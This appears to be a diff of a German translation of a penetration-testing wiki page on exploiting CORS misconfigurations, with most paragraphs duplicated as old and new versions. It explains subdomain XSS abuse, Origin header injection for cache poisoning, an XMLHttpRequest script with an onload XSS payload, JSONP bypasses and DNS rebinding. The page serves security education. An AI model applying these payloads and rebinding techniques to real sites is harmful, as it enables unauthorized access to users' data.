Reguläre Ausdrücke konzentrieren sich in der Regel auf alphanumerische Zeichen, Punkt (.), und Bindestrich (-), wobei andere Möglichkeiten vernachlässigt werden. Zum Beispiel kann ein Domänenname, der Zeichen enthält, die von Browsern und regulären Ausdrücken unterschiedlich interpretiert werden, Sicherheitsprüfungen umgehen. Die Handhabung von Unterstrichzeichen in Subdomains durch Safari, Chrome und Firefox veranschaulicht, wie solche Unterschiede ausgenutzt werden können, um die Logik der Domänenvalidierung zu umgehen.
|
||||
RegEx-Muster konzentrieren sich typischerweise auf alphanumerische, Punkt (.) und Bindestrich (-) Zeichen und vernachlässigen andere Möglichkeiten. Zum Beispiel kann ein Domainname so gestaltet sein, dass er Zeichen enthält, die von Browsern und RegEx-Mustern unterschiedlich interpretiert werden und Sicherheitsüberprüfungen umgehen können. Safaris, Chromes und Firefox' Umgang mit Unterstrichzeichen in Subdomains zeigt, wie solche Unterschiede ausgenutzt werden können, um die Domänenvalidierungslogik zu umgehen.
|
||||
|
||||
**Weitere Informationen und Einstellungen für diesen Bypass finden Sie unter:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**Für weitere Informationen und Einstellungen zu diesem Bypass-Check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### Von XSS innerhalb einer Subdomain
|
||||
|
||||
Entwickler implementieren oft Abwehrmechanismen, um sich vor CORS-Exploitation zu schützen, indem sie Domains in die Whitelist aufnehmen, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer verwundbaren Subdomain innerhalb der in der Whitelist enthaltenen Domains kann die Tür zur CORS-Exploitation durch andere Schwachstellen wie XSS (Cross-Site Scripting) öffnen.
|
||||
Entwickler implementieren oft Abwehrmechanismen, um sich gegen CORS-Exploits zu schützen, indem sie Domains auf diejenigen beschränken, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer anfälligen Subdomain innerhalb der whitelisted Domains kann die Tür zu CORS-Exploits durch andere Schwachstellen wie XSS (Cross-Site Scripting) öffnen.
|
||||
|
||||
Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem die Domain `requester.com` in der Whitelist steht und auf Ressourcen einer anderen Domain, `provider.com`, zugreifen darf. Die serverseitige Konfiguration könnte wie folgt aussehen:
|
||||
Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem eine Domain, `requester.com`, berechtigt ist, Ressourcen von einer anderen Domain, `provider.com`, abzurufen. Die serverseitige Konfiguration könnte wie folgt aussehen:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -217,42 +206,40 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
In dieser Konfiguration haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z.B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um die CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen.
|
||||
|
||||
In diesem Setup haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z. B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen.
|
||||
|
||||
### **Serverseitige Cache-Vergiftung**
|
||||
|
||||
**[Aus dieser Forschung](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Es ist möglich, dass durch Ausnutzung einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle verursacht wird. Dieses Szenario tritt auf, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen überprüft und somit eine Schwachstelle insbesondere für Internet Explorer- und Edge-Benutzer entsteht. Diese Browser behandeln `\r` (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt.
|
||||
Es ist möglich, dass durch Ausnutzen einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle induziert werden kann. Dieses Szenario entfaltet sich, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen bereinigt, was insbesondere für Internet Explorer- und Edge-Benutzer eine Schwachstelle schafft. Diese Browser behandeln (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt.
|
||||
|
||||
Betrachten Sie die folgende Anfrage, bei der der `Origin`-Header manipuliert wird:
|
||||
```text
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Internet Explorer und Edge interpretieren die Antwort wie folgt:
|
||||
```text
|
||||
Internet Explorer und Edge interpretieren die Antwort als:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Während es nicht möglich ist, diese Schwachstelle direkt auszunutzen, indem man einen Webbrowser dazu bringt, einen fehlerhaften Header zu senden, kann eine manipulierte Anfrage manuell mit Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass der Server-Cache die Antwort speichert und sie versehentlich anderen Benutzern zur Verfügung stellt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite in UTF-7 zu ändern, eine Zeichencodierung, die aufgrund ihrer Fähigkeit, Zeichen auf eine Weise zu kodieren, die in bestimmten Kontexten als Skript ausgeführt werden kann, oft mit XSS-Schwachstellen in Verbindung gebracht wird.
|
||||
Während es nicht machbar ist, diese Schwachstelle direkt auszunutzen, indem ein Webbrowser einen fehlerhaften Header sendet, kann eine manipulierte Anfrage manuell mithilfe von Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass ein serverseitiger Cache die Antwort speichert und sie unbeabsichtigt an andere weitergibt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite auf UTF-7 zu ändern, eine Zeichenkodierung, die häufig mit XSS-Schwachstellen in Verbindung gebracht wird, da sie Zeichen auf eine Weise kodieren kann, die in bestimmten Kontexten als Skript ausgeführt werden kann.
|
||||
|
||||
Für weitere Informationen zu gespeicherten XSS-Schwachstellen siehe [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Hinweis**: Die Ausnutzung von Schwachstellen bei der HTTP-Header-Injektion, insbesondere durch Server-Cache-Vergiftung, unterstreicht die entscheidende Bedeutung der Validierung und Bereinigung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern.
|
||||
**Hinweis**: Die Ausnutzung von HTTP-Header-Injektionsschwachstellen, insbesondere durch serverseitiges Caching-Vergiften, unterstreicht die entscheidende Bedeutung der Validierung und Säuberung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern.
|
||||
|
||||
### **Clientseitiges Caching-Vergiften**
|
||||
|
||||
### **Clientseitige Cache-Vergiftung**
|
||||
[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
**[Aus dieser Forschung](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Konkret spiegelt die Webseite den Inhalt eines `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bildtag enthält, das darauf ausgelegt ist, beim Laden JavaScript-Code auszuführen.
|
||||
|
||||
In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Konkret spiegelt die Webseite den Inhalt des `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bild-Tag enthält, das beim Laden JavaScript-Code ausführt.
|
||||
Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, könnte die Nützlichkeit einer solchen Injektion begrenzt erscheinen. Der kritische Punkt ergibt sich beim Betrachten des Cache-Verhaltens des Browsers. Wenn der `Vary: Origin`-Header nicht angegeben ist, wird es möglich, dass die bösartige Antwort vom Browser zwischengespeichert wird. Anschließend könnte diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Rendervorgang bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus verbessert die Zuverlässigkeit des Angriffs durch Nutzung des clientseitigen Cachings.
|
||||
|
||||
Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, scheint der Nutzen einer solchen Injektion begrenzt zu sein. Der entscheidende Punkt ergibt sich jedoch, wenn das Cache-Verhalten des Browsers berücksichtigt wird. Wenn der `Vary: Origin`-Header nicht angegeben ist, kann die bösartige Antwort vom Browser zwischengespeichert werden. Anschließend kann diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Renderng bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus erhöht die Zuverlässigkeit des Angriffs durch die Nutzung des clientseitigen Cachings.
|
||||
|
||||
Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das in der Umgebung einer Webseite ausgeführt werden soll, z.B. über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren und löst dabei möglicherweise die Ausführung des injizierten Skripts aus, wenn die Antwort zwischengespeichert wurde und der `Vary: Origin`-Header nicht ordnungsgemäß behandelt wurde.
|
||||
Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das darauf ausgelegt ist, in der Umgebung einer Webseite ausgeführt zu werden, beispielsweise über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren, was potenziell die Ausführung des injizierten Skripts auslösen könnte, wenn die Antwort zwischengespeichert wurde, ohne eine ordnungsgemäße Behandlung des `Vary: Origin`-Headers.
|
||||
|
||||
Hier ist eine zusammengefasste Aufschlüsselung des verwendeten JavaScripts, um diesen Angriff auszuführen:
|
||||
```html
|
||||
|
@ -266,33 +253,32 @@ req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
|
|||
req.send();
|
||||
</script>
|
||||
```
|
||||
## Umgehung
|
||||
## Umgehen
|
||||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Schwachstelle, die ausnutzt, dass die Same Origin Policy (SOP) nicht angewendet wird, wenn Ressourcen mit dem Skript-Tag eingebunden werden. Dies liegt daran, dass Skripte aus verschiedenen Domains eingebunden werden können müssen. Diese Schwachstelle ermöglicht es einem Angreifer, auf Inhalte zuzugreifen und sie zu lesen, die mit dem Skript-Tag eingebunden wurden.
|
||||
XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Schwachstelle, die ausnutzt, dass die Same Origin Policy (SOP) nicht gilt, wenn Ressourcen unter Verwendung des Skript-Tags eingebunden werden. Dies liegt daran, dass Skripte aus verschiedenen Domänen eingebunden werden können müssen. Diese Schwachstelle ermöglicht es einem Angreifer, auf alle Inhalte zuzugreifen und sie zu lesen, die unter Verwendung des Skript-Tags eingebunden wurden.
|
||||
|
||||
Diese Schwachstelle wird besonders bedeutsam, wenn es um dynamisches JavaScript oder JSONP (JSON mit Padding) geht, insbesondere wenn Umgebungsautoritätsinformationen wie Cookies zur Authentifizierung verwendet werden. Beim Anfordern einer Ressource von einem anderen Host werden die Cookies mitgesendet, was sie für den Angreifer zugänglich macht.
|
||||
Diese Schwachstelle wird besonders signifikant, wenn es um dynamisches JavaScript oder JSONP (JSON mit Padding) geht, insbesondere wenn Umgebungsautoritätsinformationen wie Cookies zur Authentifizierung verwendet werden. Beim Anfordern einer Ressource von einem anderen Host werden die Cookies mitgeschickt, was sie für den Angreifer zugänglich macht.
|
||||
|
||||
Um diese Schwachstelle besser zu verstehen und zu mindern, können Sie das BurpSuite-Plugin verwenden, das unter [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) verfügbar ist. Dieses Plugin kann Ihnen helfen, potenzielle XSSI-Schwachstellen in Ihren Webanwendungen zu identifizieren und zu beheben.
|
||||
Um diese Schwachstelle besser zu verstehen und zu mildern, können Sie das BurpSuite-Plugin verwenden, das unter [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) verfügbar ist. Dieses Plugin kann dabei helfen, potenzielle XSSI-Schwachstellen in Ihren Webanwendungen zu identifizieren und zu beheben.
|
||||
|
||||
[**Lesen Sie hier mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzt.**](xssi-cross-site-script-inclusion.md)
|
||||
[**Lesen Sie hier mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzen kann.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Versuchen Sie, einen **`callback`** **Parameter** in der Anfrage hinzuzufügen. Möglicherweise wurde die Seite so vorbereitet, dass sie die Daten als JSONP sendet. In diesem Fall sendet die Seite die Daten mit `Content-Type: application/javascript` zurück, was die CORS-Richtlinie umgeht.
|
||||
Versuchen Sie, einen **`callback`** **Parameter** in der Anfrage hinzuzufügen. Möglicherweise wurde die Seite darauf vorbereitet, die Daten als JSONP zu senden. In diesem Fall sendet die Seite die Daten mit `Content-Type: application/javascript` zurück, was die CORS-Richtlinie umgeht.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
|
||||
### Einfache (nutzlose?) Umgehung
|
||||
### Einfacher (nutzloser?) Umgehung
|
||||
|
||||
Eine Möglichkeit, die `Access-Control-Allow-Origin`-Beschränkung zu umgehen, besteht darin, eine Webanwendung aufzufordern, eine Anfrage in Ihrem Namen zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Anmeldeinformationen des endgültigen Opfers nicht gesendet, da die Anfrage an eine andere Domain gestellt wird.
|
||||
Eine Möglichkeit, die Einschränkung von `Access-Control-Allow-Origin` zu umgehen, besteht darin, eine Webanwendung aufzufordern, eine Anfrage in Ihrem Namen zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Anmeldeinformationen des endgültigen Opfers nicht gesendet, da die Anfrage an eine andere Domäne gestellt wird.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Dieses Tool bietet einen Proxy, der Ihre Anfrage zusammen mit ihren Headern weiterleitet und gleichzeitig den Origin-Header fälscht, um zur angeforderten Domain zu passen. Dadurch wird die CORS-Richtlinie effektiv umgangen. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest:
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Dieses Tool bietet einen Proxy, der Ihre Anfrage zusammen mit ihren Headern weiterleitet und gleichzeitig den Origin-Header fälscht, um mit der angeforderten Domäne übereinzustimmen. Dadurch wird die CORS-Richtlinie effektiv umgangen. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Dieses Tool bietet einen alternativen Ansatz zum Weiterleiten von Anfragen. Anstatt Ihre Anfrage wie sie ist weiterzuleiten, führt der Server seine eigene Anfrage mit den angegebenen Parametern aus.
|
||||
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Dieses Tool bietet einen alternativen Ansatz zum Proxying von Anfragen. Anstatt Ihre Anfrage unverändert weiterzuleiten, stellt der Server seine eigene Anfrage mit den angegebenen Parametern.
|
||||
### Iframe + Popup Umgehung
|
||||
|
||||
### Iframe + Popup-Umgehung
|
||||
|
||||
Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem Sie ein **Iframe erstellen** und **daraus ein neues Fenster öffnen**. Weitere Informationen finden Sie auf der folgenden Seite:
|
||||
Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem Sie **ein Iframe erstellen** und **daraus ein neues Fenster öffnen**. Weitere Informationen finden Sie auf der folgenden Seite:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -303,70 +289,70 @@ Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem
|
|||
DNS-Rebinding über TTL ist eine Technik, die verwendet wird, um bestimmte Sicherheitsmaßnahmen zu umgehen, indem DNS-Einträge manipuliert werden. So funktioniert es:
|
||||
|
||||
1. Der Angreifer erstellt eine Webseite und lässt das Opfer darauf zugreifen.
|
||||
2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domain, um auf die Webseite des Opfers zu verweisen.
|
||||
3. Der Browser des Opfers zwischenspeichert die DNS-Antwort, die eine TTL (Time to Live)-Wert enthält, der angibt, wie lange der DNS-Eintrag als gültig betrachtet werden soll.
|
||||
4. Wenn die TTL abläuft, stellt der Browser des Opfers eine neue DNS-Anfrage, was es dem Angreifer ermöglicht, JavaScript-Code auf der Seite des Opfers auszuführen.
|
||||
5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Server des Opfers zu senden.
|
||||
2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domäne, um auf die Webseite des Opfers zu verweisen.
|
||||
3. Der Browser des Opfers zwischenspeichert die DNS-Antwort, die möglicherweise einen TTL (Time to Live) Wert enthält, der angibt, wie lange der DNS-Eintrag als gültig betrachtet werden soll.
|
||||
4. Wenn der TTL abläuft, macht der Browser des Opfers eine neue DNS-Anfrage, was es dem Angreifer ermöglicht, JavaScript-Code auf der Seite des Opfers auszuführen.
|
||||
5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Opfer-Server zu senden.
|
||||
|
||||
Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die einen sofortigen Missbrauch dieser Technik verhindern können, selbst bei niedrigen TTL-Werten.
|
||||
Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die möglicherweise einen sofortigen Missbrauch dieser Technik verhindern, selbst bei niedrigen TTL-Werten.
|
||||
|
||||
DNS-Rebinding kann nützlich sein, um explizite IP-Prüfungen zu umgehen, die vom Opfer durchgeführt werden, oder für Szenarien, in denen ein Benutzer oder Bot für einen längeren Zeitraum auf derselben Seite bleibt und der Cache abläuft.
|
||||
DNS-Rebinding kann nützlich sein, um explizite IP-Prüfungen des Opfers zu umgehen oder in Szenarien, in denen ein Benutzer oder Bot für eine längere Zeit auf derselben Seite bleibt, um den Cache ablaufen zu lassen.
|
||||
|
||||
Wenn Sie eine schnelle Möglichkeit zum Missbrauch von DNS-Rebinding benötigen, können Sie Dienste wie [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) verwenden.
|
||||
Wenn Sie eine schnelle Möglichkeit benötigen, DNS-Rebinding zu missbrauchen, können Sie Dienste wie [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) verwenden.
|
||||
|
||||
Um Ihren eigenen DNS-Rebinding-Server auszuführen, können Sie Tools wie **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) nutzen. Dies beinhaltet das Freigeben Ihres lokalen Ports 53/udp, das Erstellen eines A-Eintrags, der darauf verweist (z.B. ns.example.com), und das Erstellen eines NS-Eintrags, der auf den zuvor erstellten A-Subdomain verweist (z.B. ns.example.com). Jede Subdomain der ns.example.com-Subdomain wird dann von Ihrem Host aufgelöst.
|
||||
Um Ihren eigenen DNS-Rebinding-Server auszuführen, können Sie Tools wie **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) nutzen. Dies beinhaltet das Freigeben Ihres lokalen Ports 53/udp, das Erstellen eines A-Eintrags, der darauf zeigt (z. B. ns.example.com), und das Erstellen eines NS-Eintrags, der auf den zuvor erstellten A-Subdomain zeigt (z. B. ns.example.com). Jede Subdomäne der ns.example.com-Subdomäne wird dann von Ihrem Host aufgelöst.
|
||||
|
||||
Sie können auch einen öffentlich laufenden Server unter [http://rebind.it/singularity.html](http://rebind.it/singularity.html) erkunden, um ein besseres Verständnis und Experimente durchzuführen.
|
||||
|
||||
### DNS-Rebinding über **DNS-Cache-Flutung**
|
||||
### DNS-Rebinding über **DNS-Cache-Fluten**
|
||||
|
||||
DNS-Rebinding über DNS-Cache-Flutung ist eine weitere Technik, die verwendet wird, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert es:
|
||||
DNS-Rebinding über DNS-Cache-Fluten ist eine weitere Technik, die verwendet wird, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert es:
|
||||
|
||||
1. Zunächst erhält das Opfer bei einer DNS-Anfrage die IP-Adresse des Angreifers als Antwort.
|
||||
2. Um die Caching-Verteidigung zu umgehen, nutzt der Angreifer einen Service Worker. Der Service Worker flutet den DNS-Cache, wodurch der zwischengespeicherte Angreifer-Servername effektiv gelöscht wird.
|
||||
3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, erhält er nun die IP-Adresse 127.0.0.1, die normalerweise auf den localhost verweist.
|
||||
1. Zunächst, wenn das Opfer eine DNS-Anfrage stellt, wird mit der IP-Adresse des Angreifers geantwortet.
|
||||
2. Um die Caching-Verteidigung zu umgehen, nutzt der Angreifer einen Service-Worker. Der Service-Worker flutet den DNS-Cache, was effektiv den zwischengespeicherten Angreifer-Servernamen löscht.
|
||||
3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, wird nun mit der IP-Adresse 127.0.0.1 geantwortet, die normalerweise auf den localhost verweist.
|
||||
|
||||
Durch Fluten des DNS-Caches mit dem Service Worker kann der Angreifer den DNS-Auflösungsprozess manipulieren und den Browser des Opfers dazu zwingen, eine zweite Anfrage zu stellen, die diesmal zur gewünschten IP-Adresse des Angreifers auflöst.
|
||||
Durch Fluten des DNS-Caches mit dem Service-Worker kann der Angreifer den DNS-Auflösungsprozess manipulieren und den Browser des Opfers dazu zwingen, eine zweite Anfrage zu stellen, die diesmal auf die gewünschte IP-Adresse des Angreifers verweist.
|
||||
|
||||
### DNS-Rebinding über **Cache**
|
||||
|
||||
Eine weitere Möglichkeit, die Caching-Verteidigung zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomain beim DNS-Anbieter zu verwenden. So funktioniert es:
|
||||
Eine weitere Möglichkeit, die Caching-Verteidigung zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomäne beim DNS-Anbieter zu verwenden. So funktioniert es:
|
||||
|
||||
1. Der Angreifer richtet zwei A-Einträge (oder einen einzelnen A-Eintrag mit zwei IPs) für dieselbe Subdomain beim DNS-Anbieter ein.
|
||||
1. Der Angreifer richtet zwei A-Einträge (oder einen einzelnen A-Eintrag mit zwei IPs) für dieselbe Subdomäne beim DNS-Anbieter ein.
|
||||
2. Wenn ein Browser diese Einträge überprüft, erhält er beide IP-Adressen.
|
||||
3. Wenn der Browser sich entscheidet, die IP-Adresse des Angreifers zuerst zu verwenden, kann der Angreifer eine Nutzlast bereitstellen, die HTTP-Anfragen an dieselbe Domain sendet.
|
||||
4. Sobald der Angreifer die IP-Adresse des Opfers erhalten hat, hört er auf, auf den Browser des Opfers zu antworten.
|
||||
5. Der Browser des Opfers erkennt, dass die Domain nicht erreichbar ist, und verwendet stattdessen die zweite angegebene IP-Adresse.
|
||||
6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), was es dem Angreifer ermöglicht, dies auszunutzen und Informationen vom Opfer zu sammeln und zu exfiltrieren.
|
||||
3. Wenn der Browser sich entscheidet, zuerst die IP-Adresse des Angreifers zu verwenden, kann der Angreifer eine Nutzlast bereitstellen, die HTTP-Anfragen an dieselbe Domäne sendet.
|
||||
4. Sobald der Angreifer jedoch die IP-Adresse des Opfers erhält, hört er auf, auf den Browser des Opfers zu antworten.
|
||||
5. Der Browser des Opfers, nachdem er feststellt, dass die Domäne nicht reagiert, wechselt zur Verwendung der zweiten gegebenen IP-Adresse.
|
||||
6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), was es dem Angreifer ermöglicht, diese zu missbrauchen und Informationen vom Opfer zu sammeln und zu exfiltrieren.
|
||||
|
||||
Diese Technik nutzt das Verhalten von Browsern aus, wenn mehrere IP-Adressen für eine Domain bereitgestellt werden. Indem die Antworten strategisch kontrolliert und die Wahl der IP-Adresse des Browsers manipuliert wird, kann ein Angreifer die SOP ausnutzen und auf Informationen des Opfers zugreifen.
|
||||
Diese Technik nutzt das Verhalten von Browsern aus, wenn mehrere IP-Adressen für eine Domäne bereitgestellt werden. Indem die Antworten strategisch kontrolliert und die Wahl der IP-Adresse des Browsers manipuliert wird, kann ein Angreifer die SOP ausnutzen und Informationen vom Opfer abrufen.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass Sie zum Zugriff auf localhost versuchen sollten, **127.0.0.1** in Windows und **0.0.0.0** in Linux zu verwenden.\
|
||||
Anbieter wie Godaddy oder Cloudflare haben es mir nicht erlaubt, die IP-Adresse 0.0.0.0 zu verwenden, aber AWS Route53 hat es mir ermöglicht, einen A-Eintrag mit 2 IPs zu erstellen, wobei eine davon "0.0.0.0" ist.
|
||||
Beachten Sie, dass Sie, um auf localhost zuzugreifen, versuchen sollten, **127.0.0.1** in Windows und **0.0.0.0** in Linux zurückzubinden.\
|
||||
Anbieter wie GoDaddy oder Cloudflare haben es mir nicht erlaubt, die IP 0.0.0.0 zu verwenden, aber AWS Route53 hat es mir ermöglicht, einen A-Eintrag mit 2 IPs zu erstellen, wobei eine davon "0.0.0.0" ist.
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
Weitere Informationen finden Sie unter [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### Weitere gängige Umgehungen
|
||||
Für weitere Informationen können Sie [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) überprüfen.
|
||||
### Andere häufige Umgehungen
|
||||
|
||||
* Wenn **interne IPs nicht erlaubt sind**, haben sie möglicherweise **vergessen, 0.0.0.0 zu verbieten** (funktioniert auf Linux und Mac).
|
||||
* Wenn **interne IPs nicht erlaubt sind**, antworten Sie mit einem **CNAME** auf **localhost** (funktioniert auf Linux und Mac).
|
||||
* Wenn **interne IPs nicht als DNS-Antworten erlaubt sind**, können Sie **CNAMEs auf interne Dienste** wie www.corporate.internal antworten.
|
||||
* Wenn **interne IPs nicht erlaubt sind**, könnten sie **vergessen haben, 0.0.0.0 zu verbieten** (funktioniert auf Linux und Mac)
|
||||
* Wenn **interne IPs nicht erlaubt sind**, antworte mit einem **CNAME** zu **localhost** (funktioniert auf Linux und Mac)
|
||||
* Wenn **interne IPs nicht als DNS-Antworten erlaubt sind**, können Sie **CNAMEs zu internen Diensten** wie www.corporate.internal antworten.
|
||||
|
||||
### DNS-Rebinding weaponisiert
|
||||
|
||||
